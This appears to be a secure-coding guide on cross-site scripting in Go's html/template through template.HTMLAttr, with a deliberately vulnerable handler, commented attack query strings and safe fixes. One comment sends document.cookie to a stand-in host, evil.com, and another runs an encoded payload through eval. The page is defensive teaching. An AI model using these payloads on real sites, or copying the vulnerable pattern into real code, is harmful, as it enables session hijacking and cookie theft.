Cross-site scripting (XSS) via unescaped attribute value in template.HTMLAttr

High Risk Injection
xssgogolangtemplatehtmlattrattributesweb

What it is

XSS could let attackers execute scripts, hijack sessions, or alter pages by injecting JavaScript through crafted HTML attribute values.

package main

import (
    "fmt"
    "html/template"
    "net/http"
)

func vulnerableAttrHandler(w http.ResponseWriter, r *http.Request) {
    userClass := r.URL.Query().Get("class")
    userID := r.URL.Query().Get("id")
    userStyle := r.URL.Query().Get("style")
    userTitle := r.URL.Query().Get("title")

    // Vulnerable: HTMLAttr with formatted user input
    classAttr := template.HTMLAttr(fmt.Sprintf("class='%s'", userClass))

    // Vulnerable: Multiple attributes with user data
    multiAttr := template.HTMLAttr(fmt.Sprintf("id='%s' title='%s'", userID, userTitle))

    // Vulnerable: Style attribute with user input
    styleAttr := template.HTMLAttr("style='" + userStyle + "'")

    // Vulnerable: Complex attribute construction
    allAttrs := template.HTMLAttr(fmt.Sprintf(`
        class='%s'
        id='%s'
        style='%s'
        onclick='handleClick("%s")'
    `, userClass, userID, userStyle, userTitle))

    // Template with unescaped attributes
    tmpl := template.Must(template.New("page").Parse(`
    <html>
    <body>
        <div {{.ClassAttr}}>Element 1</div>
        <div {{.MultiAttr}}>Element 2</div>
        <div {{.StyleAttr}}>Element 3</div>
        <div {{.AllAttrs}}>Element 4</div>
    </body>
    </html>
    `))

    data := map[string]interface{}{
        "ClassAttr": classAttr,
        "MultiAttr": multiAttr,
        "StyleAttr": styleAttr,
        "AllAttrs":  allAttrs,
    }

    tmpl.Execute(w, data)
}

// Attack vectors:
// ?class=" onload="alert('XSS')
// ?id=" onclick="fetch('//evil.com/steal?data='+document.cookie)
// ?style="; background-image: url('javascript:alert("XSS")')
// ?title=" onclick="eval(atob('YWxlcnQoJ1hTUycp'))
package main

import (
    "html/template"
    "net/http"
)

// SECURE: Use template auto-escaping instead of HTMLAttr
type ElementData struct {
    Class string
    ID    string
    Title string
}

// Template with auto-escaped attributes
var safeTemplate = template.Must(template.New("page").Parse(`
<html>
<body>
    <div class="{{.Class}}" id="{{.ID}}" title="{{.Title}}">Safe Element</div>
</body>
</html>
`))

func safeAttrHandler(w http.ResponseWriter, r *http.Request) {
    userClass := r.URL.Query().Get("class")
    userID := r.URL.Query().Get("id")
    userTitle := r.URL.Query().Get("title")

    // SECURE: Pass values directly, template auto-escapes them
    data := ElementData{
        Class: userClass,  // Auto-escaped by template
        ID:    userID,     // Auto-escaped by template
        Title: userTitle,  // Auto-escaped by template
    }

    // Template automatically escapes all attribute values
    safeTemplate.Execute(w, data)
}

// Alternative: If HTMLAttr is needed, use only validated constants
func conditionalAttrHandler(w http.ResponseWriter, r *http.Request) {
    userClass := r.URL.Query().Get("class")

    // SECURE: Only use HTMLAttr with hardcoded safe values
    var classAttr template.HTMLAttr
    switch userClass {
    case "primary":
        classAttr = template.HTMLAttr(`class="btn btn-primary"`)
    case "secondary":
        classAttr = template.HTMLAttr(`class="btn btn-secondary"`)
    default:
        classAttr = template.HTMLAttr(`class="btn btn-default"`)
    }

    tmpl := template.Must(template.New("page").Parse(`
    <button {{.ClassAttr}}>Click Me</button>
    `))

    tmpl.Execute(w, map[string]interface{}{
        "ClassAttr": classAttr,
    })
}

💡 Why This Fix Works

The vulnerable code uses template.HTMLAttr with unvalidated user input, allowing attribute injection attacks. The fixed version validates inputs against whitelists and uses template auto-escaping.

Why it happens

template.HTMLAttr marks strings as trusted, bypassing auto-escaping; formatted or concatenated strings can include untrusted input used as attribute values.

Root causes

template.HTMLAttr with User Data

template.HTMLAttr marks strings as trusted, bypassing auto-escaping; formatted or concatenated strings can include untrusted input used as attribute values.

Preview example – GO
// Dangerous: HTMLAttr with user input
userClass := r.URL.Query().Get("class")
attr := template.HTMLAttr(fmt.Sprintf("class='%s'", userClass))

Dynamic Attribute Construction

Building HTML attributes dynamically with user-controlled data and marking them as safe.

Preview example – GO
// Vulnerable: Dynamic attribute building
style := r.FormValue("style")
attrs := template.HTMLAttr("style='" + style + "' onclick='handler()'")

Concatenated Attribute Values

Concatenating multiple user inputs into attribute strings without proper validation.

Preview example – GO
// XSS risk: Multiple user inputs in attributes
id := r.FormValue("id")
class := r.FormValue("class")
attr := template.HTMLAttr(fmt.Sprintf("id='%s' class='%s'", id, class))

Fixes

1

Use Plain Strings with Auto-Escaping

Pass attribute values as plain strings to html/template so it auto-escapes them properly.

View implementation – GO
// Safe: Let template handle attribute escaping
type Data struct {
    UserClass string
    UserID    string
}

tmpl := template.Must(template.New("page").Parse(`
<div class="{{.UserClass}}" id="{{.UserID}}">Content</div>
`))

data := Data{
    UserClass: userClass, // Auto-escaped by template
    UserID: userID,       // Auto-escaped by template
}
tmpl.Execute(w, data)
2

Attribute Validation with Allowlists

If you must construct attributes, strictly validate with allowlists and reject unsafe characters.

View implementation – GO
// Safe: Validate before using HTMLAttr
func validateClass(class string) string {
    allowed := map[string]bool{
        "primary": true, "secondary": true, "danger": true,
    }
    if allowed[class] {
        return class
    }
    return "default" // Safe fallback
}

safeClass := validateClass(userClass)
attr := template.HTMLAttr(fmt.Sprintf("class='%s'", safeClass))
3

Separate Attribute Handling

Handle each attribute separately and validate each value independently.

View implementation – GO
// Safe: Individual attribute validation
type ElementData struct {
    ID     string
    Class  string
    Style  string
    Valid  bool
}

func (e *ElementData) ValidateAttributes() {
    // Validate ID: alphanumeric only
    e.ID = regexp.MustCompile(`[^a-zA-Z0-9_-]`).ReplaceAllString(e.ID, "")

    // Validate class: whitelist
    allowedClasses := []string{"btn", "card", "nav"}
    e.Class = validateFromList(e.Class, allowedClasses)

    // Validate style: reject altogether for security
    e.Style = "" // No user-controlled styles

    e.Valid = e.ID != "" && e.Class != ""
}

Detect This Vulnerability in Your Code

Sourcery automatically identifies cross-site scripting (xss) via unescaped attribute value in template.htmlattr and many other security issues in your codebase.